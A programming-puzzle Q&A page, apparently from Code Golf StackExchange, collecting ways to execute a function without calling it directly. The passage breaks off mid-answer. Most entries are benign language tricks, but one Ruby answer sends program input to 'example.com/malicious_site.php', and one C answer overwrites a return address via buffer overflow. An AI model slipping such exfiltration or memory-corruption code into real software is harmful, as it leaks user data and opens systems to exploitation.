title: Call a method without calling it

text:
# Question
Title: Call a method without calling it
Inspired by a now deleted StackOverflow question. Can you come up with a way to get a particular method executed, without explicitly calling it? The more indirect it is, the better.

Here's what I mean, exactly (C used just for exemplification, all languages accepted):

```
// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

```

Original question:

# Answer
# C

```
#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

```

When compiled with GCC, the compiler replaces `printf("Goodbye!\n")` with `puts("Goodbye!")`, which is simpler and is supposed to be equivalent. I've sneakily provided my custom `puts` function, so that gets called instead.
> 108 votes

# Answer
Well, how is malware able to execute functions that aren't called in the code? By overflowing buffers!

```
#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

```

On my system, the return address of `main` happens to be stored 3 words above the first local variable. By scrambling that return address with the address of another function, `main` "returns" to that function. If you want to reproduce this behavior on another system, you might have to tweak 3 to another value.
> 85 votes

# Answer
# Bash

```
#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

```
> 77 votes

# Answer
**Python 2**

```
>>> def func(*args):
        print('somebody called me?')

```

Here are some ways inspired by the other answers:

1. executing the code directly

```
>>> exec(func.func_code) # just the code, not a call
somebody called me?

```

This is the best way of really not calling the function.
2. using the destructor

```
>>> class X(object):pass
>>> x = X()
>>> X.__del__ = func # let  the garbage collector do the call
>>> del x
somebody called me?

```
3. Using the std I/O

```
>>> x.write = func # from above
>>> import sys
>>> a = sys.stderr
>>> sys.stderr = x
>>> asdjkadjls
somebody called me?
somebody called me?
somebody called me?
somebody called me?
somebody called me?
>>> sys.stderr = a # back to normality

```
4. using attribute lookups

```
>>> x = X() # from above
>>> x.__get__ = func
>>> X.x = x
>>> x.x # __get__ of class attributes
somebody called me?
<__main__.X object at 0x02BB1510>
>>> X.__getattr__ = func
>>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
somebody called me?
>>> X.__getattribute__ = func
>>> x.__class__ # any attribute
somebody called me?

```
5. The import mechanism

```
>>> __builtins__.__import__ = func
>>> import os # important module!
somebody called me?
>>> os is None
True

```

Well I guess that's all.. I can not import anything now. No wait..
6. Using the get-item brackets `[]`

```
>>> class Y(dict): pass
>>> Y.__getitem__ = func
>>> d = Y()
>>> d[1] # that is easy
somebody called me?

```
7. Using global variables. My favorite!

```
>>> exec "hello;hello" in d # from above
somebody called me?
somebody called me?

```

`hello` is an access to `d['hello']`. After this the world seems gray.
8. Meta classes ;)

```
>>> class T(type): pass
>>> T.__init__ = func
>>> class A:
    __metaclass__ = T
somebody called me?

```
9. Using iterators (you can overload any operator and use it)

```
>>> class X(object): pass
>>> x = X()
>>> X.__iter__ = func
>>> for i in x: pass # only once with error
somebody called me?

>>> X.__iter__ = lambda a: x
>>> X.next = func
>>> for i in x: pass # endlessly!
somebody called me?
somebody called me?
somebody called me?
...

```
10. Errors!

```
>>> class Exc(Exception):__init__ = func
>>> raise Exc # removed in Python 3
somebody called me?

```
11. Frameworks call you back. Almost every GUI has this functionality.

```
>>> import Tkinter
>>> t = Tkinter.Tk()
>>> t.after(0, func) # or QTimer.singleShot(1000, func)
>>> t.update()
somebody called me?

```
12. Execute the source string (func must be in a file)

```
>>> import linecache
>>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
somebody called me?

```
13. Decorators

```
>>> @func
def nothing():pass
sombody called me?

```
14. with pickle de-serialization (least favorites coming)

```
>>> import pickle # serialization
>>> def __reduce__(self):
    return func, ()
>>> X.__reduce__ = __reduce__
>>> x = X()
>>> s = pickle.dumps(x)
>>> pickle.loads(s) # this is a call but it is hidden somewhere else
somebody called me?

```
15. Using serialization

```
>>> import copy_reg
>>> copy_reg.pickle(X, func)
>>> pickle.dumps(x) # again a hidden call
somebody called me?

```

More Python answers:
> 58 votes

# Answer
# Javascript

This one uses JSFuck to do the dirty work.

```
function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

```
> 23 votes

# Answer
## Python

```
import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

```

This sets `the_function` as the profiling function, causing it to be executed on each function call and return.

```
>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

```
> 22 votes

# Answer
# C#

We can abuse the DLR to always execute some code whenever you try to call *any* method on a class. This is slightly less cheap/obvious than solutions like delegates, reflections, static constructors, etc., because the method being executed is not only never *invoked* but never even *referenced*, not even by its name.

```
void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

```

This always prints "Ha! Tricked you!" no matter *what* you try to invoke on `a`. So I could just as easily write `a.SuperCaliFragilisticExpiAlidocious()` and it would do the same thing.
> 18 votes

# Answer
# GNU C

```
#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

```

This is very direct, but is certainly not a *call* to `hello_world`, even though the function does execute.
> 17 votes

# Answer
# Ruby

Inspired by wat.

```
require 'net/http'

def method_missing(*args)
    # some odd code
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

```
> 16 votes

# Answer
## C

You can register a function to be called at the end of the program in C, if that fits your needs:

```
#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

```
> 15 votes

# Answer
## Java

Tried this with java:

```
import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

```

The method `secretMethodNotCalledInMain` is called only by reflection, and I am not searching for anything called `secretMethodNotCalledInMain` (instead I am searching for anything not called `main`). Further, the reflective part of code is called outside the `main` method when the JDK's uncaught exception handler kicks in.

Here is my JVM info:

```
C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

```

Here is the output of my program:

```
Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

```

I was not expecting those `NullPointerException`s being thrown from the native code to handle reflection. But, as mentioned by @johnchen902 that is because it inherits some methods from `java.lang.Object` and I ended up calling them on `null`s.
> 15 votes

# Answer
## C++

One way in C++ is in the constructor and/or destructor of a static object:

```
struct foo {
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

```
> 14 votes

# Answer
## C: Hello World

```
#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

```

Output:

```
Hello World!

```

In order to link the method, we need printf() to be compiled somewhere in the program, but it does not have to actually be called. The printf() and main() functions are located 276 bytes apart from each other in the code segment. This value will change based on OS and compiler. You can find the actual addresses on your system with this code and then just subtract them:

```
printf("%d %d\n", &printf, &main);

```
> 12 votes

# Answer
### C (with GCC inline asm)

```
#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

```

This will cause some GCC-emitted code to end up in a different segment of the object file, effectively making control flow “fall through” the\_function. Note that this does not work if GCC decides to reorder the functions, obviously. Tested with GCC 3.4.6 on MirBSD-current/i386, using `-O2`. (Also, it breaks debugging, compiling with `-g` errors out ☺)
> 9 votes

# Answer
## PHP ≥5.4.0

This solution is admittedly a horrid mess, but it performs the task given to it (there was no stipulation how *well* it has to perform).

**The function to call without calling**:

```
function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

```

**The solution**:

```
function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

```

**Example**:

```
//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

```

**Possible outputs:**

```
6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

```

**Explanation**:

When called, `executeFunction()` will read the contents of the currently executing file (which means this is only meant to be run from CLI, as it uses `$argv`), parse out the arguments and body of the specified function, hack everything back together into a new chunk of code, `eval()` it all, and return the result. The result being that `getRandomString()` is never actually called, either directly or indirectly, but the code in the function body is still executed.
> 8 votes

# Answer
# Perl

```
sub INIT {
    print "Nothing to see here...\n";
}

```

Yes, that's all there is to it. Not all subroutines are created equal.
> 8 votes

# Answer
## T-SQL

It's a built in feature. Triggers for the win!

If you really want to have fun with it, create a bunch of INSTEAD OF triggers on April Fool's Day.

```
CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

```

Results:

```
|          GREETING |
|-------------------|
| Hello, Code Golf! |

```

Very prank. Such lulz. Wow.

Tinker wid it on SQLFiddle.
> 7 votes

# Answer
## JavaScript

In Firefox console:

```
    this.toString = function(){alert('Wow')};

```

Then just start typing anything in console - Firefox calls `.toString()` multiple times when you're typing in console.

Similar approach is:

```
    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

```
> 7 votes

# Answer
# C

Platform of choice is Linux. We can't call our function, so we'll have our linker do it instead:

```
#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

```

### How to obtain the magic address?

We're relying on the Linux Standard Base Core Specification, which says:

> .fini\_array
>
> This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section.

1. Compile the code:

`gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly`
2. Examine the address of `.fini_array`:

`objdump -h -j .fini_array but_for_what_reason_exactly`
3. Find the VMA of it:

```
 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

```

and replace that value for `ADDRESS`.
> 6 votes

# Answer
## Haskell

In haskell if you do:

```
main=putStrLn "This is the main action."

```

It will get executed immediately without calling its name when you run it. Magic!
> 5 votes

# Answer
## **VB6 and VBA**

Not sure if this qualifies or not, because it is calling a method of a class:

This goes in a class module:

```
Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

```

And this is the "calling" code:

```
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

```

This works by swapping the function vptr's for the two Subs in the vtable for the class.
> 5 votes

# Answer
## Javascript

Easy, just use `on___` events in JS. For example:

```
var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

```
> 5 votes

# Answer
# Java

Other java answer from me. As you see in the code, it directly calls `theCalledMethod`, but the method `notCalledMethod` is executed instead.

So, in the end I am doing 2 things:

* Calling a method without calling it.
* Not calling a method by calling it.

```
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

```

Running it:

```
> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

```
> 4 votes

# Answer
## Objective-C

(Probably only if compiled with clang on Mac OS X)

```
#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

```

This code uses several tricks to get to the unused function. First is the value 0x2A27. This is a tagged pointer for the integer 42, which encodes the value in the pointer to avoid allocating an object.

Next is `MyClass`. It is never used, but the runtime calls the `+load` method when it is loaded, before `main`. This dynamically creates and registers a new class, using `NSValue` as its superclass. It also adds a `+load` method for that class, using `MyClass`'s `-unusedMethod` as the implementation. After registration, it calls the load method on the new class (for some reason it isn't called automatically).

Since the new class's load method uses the same implementation as `unusedMethod`, that is effectively called. It takes the superclass of itself, and adds `unusedFunction` as an implementation for that class's `doesNotRecognizeSelector:` method. This method was originally an instance method on `MyClass`, but is being called as a class method on the new class, so `self` is the new class object. Therefore, the superclass is `NSValue`, which is also the superclass for `NSNumber`.

Finally, `main` runs. It takes the pointer value and sticks it in a `NSString *` variable (the `__bridge` and first cast to `void *` allow this to be used with or without ARC). Then, it tries to call `stringByAppendingString:` on that variable. Since it is actually a number, which does not implement that method, the `doesNotRecognizeSelector:` method is called instead, which travels up through the class hierarchy to `NSValue` where it is implemented using `unusedFunction`.

---

Note: the incompatibility with other systems is due to the tagged pointer usage, which I do not believe has been implemented by other implementations. If this were replaced with a normally created number the rest of the code should work fine.
> 4 votes

# Answer
# Python

```
class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

```
> 4 votes

# Answer
# Java

Yay, garbage collection!

```
public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

```

---

A version for those who will inevitably say that `System.gc()` is unreliable:

```
public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }

    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

```
> 4 votes

# Answer
## C++

In C++, if an exception is thrown during stack unwinding caused by an earlier exception which is still underway, program execution is stopped by calling a customizable terminate handler:

```
#include <iostream>
#include <exception>

void the_function()
{
    std::cout << "How did I get here?\n";
}

struct X
{
    ~X()
    {
        throw 2;
    }
};

int main()
{
